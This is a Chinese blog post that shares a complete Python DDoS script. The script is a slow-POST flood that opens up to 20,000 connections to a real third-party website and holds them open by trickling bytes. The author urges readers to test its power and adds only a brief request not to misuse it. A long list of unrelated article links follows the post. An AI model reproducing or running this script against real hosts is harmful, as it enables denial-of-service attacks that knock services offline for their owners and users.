python版DDOS攻击脚本


Posted in Python onJune 12, 2019

本文实例为大家分享了python版DDOS攻击脚本,供大家参考,具体内容如下

于是就找到了我之前收藏的一篇python的文章,是关于ddos攻击的一个脚本,正好今天有空,就实践下了。

附上源码pyDdos.py:

#!/usr/bin/env python
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST="www.baidu.com"
PAGE="/index.php"
#---------------------------
 
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
 
socks=[]
 
def conn_thread():
 global socks
 for i in range(0,MAX_CONN):
 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 try:
 s.connect((HOST,PORT))
 s.send(buf)
 print "Send buf OK!,conn=%d\n"%i
 socks.append(s)
 except Exception,ex:
 print "Could not connect to server or send error:%s"%ex
 time.sleep(10)
#end def
 
def send_thread():
 global socks
 while True:
 for s in socks:
 try:
 s.send("f")
 #print "send OK!"
 except Exception,ex:
 print "Send Exception:%s\n"%ex
 socks.remove(s)
 s.close()
 time.sleep(1)
#end def
 
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
 
conn_th.start()
send_th.start()

OK,大家可以简单测试下这个脚本的威力,不过希望大家不要用来做坏事儿,同时,稍后我会去找一个python版本的防DDOS攻击的脚本,所谓学习攻击的方式是为了更好的抵御攻击。

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
python中logging库的使用总结
Oct 18 Python
Python SqlAlchemy动态添加数据表字段实例解析
Feb 07 Python
django 中QuerySet特性功能详解
Jul 25 Python
Django中的静态文件管理过程解析
Aug 01 Python
python滑块验证码的破解实现
Nov 10 Python
python使用配置文件过程详解
Dec 28 Python
Python如何使用正则表达式爬取京东商品信息
Jun 01 Python
用python写爬虫简单吗
Jul 28 Python
python基于socket模拟实现ssh远程执行命令
Dec 05 Python
python使用scapy模块实现ping扫描的过程详解
Jan 21 Python
python 如何读、写、解析CSV文件
Mar 03 Python
尝试使用Python爬取城市租房信息
Apr 12 Python
selenium处理元素定位点击无效问题
Jun 12 #Python
selenium跳过webdriver检测并模拟登录淘宝
Jun 12 #Python
python3.4 将16进制转成字符串的实例
Jun 12 #Python
python binascii 进制转换实例
Jun 12 #Python
Python3 实现串口两进程同时读写
Jun 12 #Python
详解pyppeteer(python版puppeteer)基本使用
Jun 12 #Python
python实战串口助手_解决8串口多个发送的问题
Jun 12 #Python
You might like
通过5个php实例细致说明传值与传引用的区别
2012/08/08 PHP
php获取远程文件的内容和大小
2015/11/03 PHP
改版了网上的一个js操作userdata
2007/04/27 Javascript
jquery1.4后 jqDrag 拖动 不可用
2010/02/06 Javascript
基于JQuery的6个Tab选项卡插件
2010/09/03 Javascript
javascript中数组的多种定义方法和常用函数简介
2014/05/09 Javascript
JavaScript拆分字符串时产生空字符的解决方案
2014/09/26 Javascript
javascript将url中的参数加密解密代码
2014/11/17 Javascript
jquery获取及设置outerhtml的方法
2015/03/09 Javascript
js实现类似jquery里animate动画效果的方法
2015/04/10 Javascript
JavaScript更改字符串的大小写
2015/05/07 Javascript
JQuery自动触发事件的方法
2015/06/13 Javascript
JavaScript用select实现日期控件
2015/07/17 Javascript
AngularJS API之copy深拷贝详解及实例
2016/09/14 Javascript
jQuery获取单选按钮radio选中值与去除所有radio选中状态的方法
2017/05/20 jQuery
JavaScript设计模式之单例模式详解
2017/06/09 Javascript
node使用UEditor富文本编辑器的方法实例
2017/07/11 Javascript
使用重写url机制实现验证码换一张功能
2017/08/01 Javascript
Angular父子组件通过服务传参的示例方法
2018/10/31 Javascript
微信小程序在地图选择地址并返回经纬度简单示例
2018/12/03 Javascript
vue使用websocket的方法实例分析
2019/06/22 Javascript
详解微信小程序图片地扯转base64解决方案
2019/08/18 Javascript
详解ES6数组方法find()、findIndex()的总结
2020/05/12 Javascript
[06:53]2018DOTA2国际邀请赛寻真——为复仇而来的Newbee
2018/08/15 DOTA
Python中分支语句与循环语句实例详解
2018/09/13 Python
pytorch 加载(.pth)格式的模型实例
2019/08/20 Python
手把手教你pycharm专业版安装破解教程(linux版)
2019/09/26 Python
使用HTML5 Canvas API绘制弧线的教程
2016/03/22 HTML / CSS
英国最大的独立家具零售商:Furniture Village
2016/09/06 全球购物
严选全球尖货,立足香港:Bonpont宝盆
2018/07/24 全球购物
高一生物教学反思
2014/01/17 职场文书
结婚保证书范文
2014/04/29 职场文书
宿舍标语大全
2014/06/19 职场文书
公司员工违纪检讨书
2015/05/05 职场文书
2015年教师节广播稿
2015/08/19 职场文书
2019通用版劳动合同范本!
2019/07/11 职场文书